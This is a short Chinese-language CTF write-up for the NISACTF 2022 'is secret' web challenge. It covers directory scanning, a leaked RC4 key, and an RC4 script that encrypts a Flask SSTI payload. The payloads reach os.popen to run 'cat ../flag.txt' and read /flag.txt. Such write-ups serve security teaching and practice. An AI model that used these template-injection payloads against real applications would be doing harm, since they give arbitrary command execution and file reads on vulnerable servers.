【NISACTF 2022】is Secret

Contents

[NISACTF 2022]is secret

思路

  • 进入没信息,用dirsearch扫网站

  • 发现可以传参,?secret=32423452523

  • 报错后发现源码泄露

    • 存在一个RC4加密(看到密钥)
    • 存在SSTI模板注入
  • 使用脚本把secret内容加密传入(RC4是对称加密)

  • 使用SSTI-Flask模板注入

EXP

  • RC4加密代码

找了大佬的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#固定rc4
rc4_main("HereIsTreasure","{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat ../flag.txt').read()}}")
#{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
  • SSTI模板注入
  • 找到os命令执行{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

总结

  • 信息查找
  • RC4加密
  • SSTI模板注入
0%